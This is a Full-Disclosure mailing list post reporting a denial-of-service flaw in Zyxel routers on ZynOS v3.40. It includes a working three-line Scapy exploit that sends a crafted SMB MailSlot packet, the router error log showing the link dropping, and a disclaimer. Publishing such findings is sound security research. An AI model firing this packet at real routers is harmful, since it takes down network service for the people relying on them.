[Full-disclosure] ZynOS v3.40 One packet killer



Hi to all,

While playing in my home's network with Scapy I found
a vulnerability affecting the wireless services
offered by Zyxel routers with, at least, ZynOS v3.40.
That's the unique model I tested.

The exploit in question:

----------------------------------------------
""" ZynOS v3.40 One packet killer """
from scapy import sr, SMBMailSlot

sr(SMBMailSlot(name="\\M"))
----------------------------------------------

After launching it you will found in the router's
errlog a text like the following:

34 Sat Jan 01 00:00:13 2000 PP15 WARN
netMakeChannDial: err=-3001 rn_p=9483fbb0
37 Sat Jan 01 00:00:18 2000 PP15 WARN
netMakeChannDial: err=-3001 rn_p=9483fbb0
40 Sat Jan 01 00:00:23 2000 PP15 WARN
netMakeChannDial: err=-3001 rn_p=9483fbb0
42 Sat Jan 01 00:00:28 2000 PP15 WARN
netMakeChannDial: err=-3001 rn_p=9483fbb0
45 Sat Jan 01 00:00:35 2000 PP15 WARN
netMakeChannDial: err=-3001 rn_p=9483fbb0
46 Sat Jan 01 00:00:37 2000 PP0b WARN MPOA Link
Down
48 Sat Jan 01 00:00:40 2000 PP15 WARN
netMakeChannDial: err=-3001 rn_p=9483fbb0
51 Sat Jan 01 00:00:49 2000 PP15 WARN
netMakeChannDial: err=-3001 rn_p=9483fbb0
54 Sat Jan 01 00:00:54 2000 PP15 WARN
netMakeChannDial: err=-3001 rn_p=9483fbb0
57 Sat Jan 01 00:00:58 2000 PP0b WARN MPOA Link Up

The following is the complete version:

router> sys version
ZyNOS version: V3.40(AHQ.0) | 05/01/2006
romRasSize: 2321890
system up time: 0:03:17 (4d3d ticks)
bootbase version: V1.06 | 1/20/2006

Disclaimer
----------

The information in this advisory and any of its
demonstrations is provided "as is" without any
warranty of any kind.

I am not liable for any direct or indirect damages
caused as a result of using the information or
demonstrations provided in any part of this advisory.





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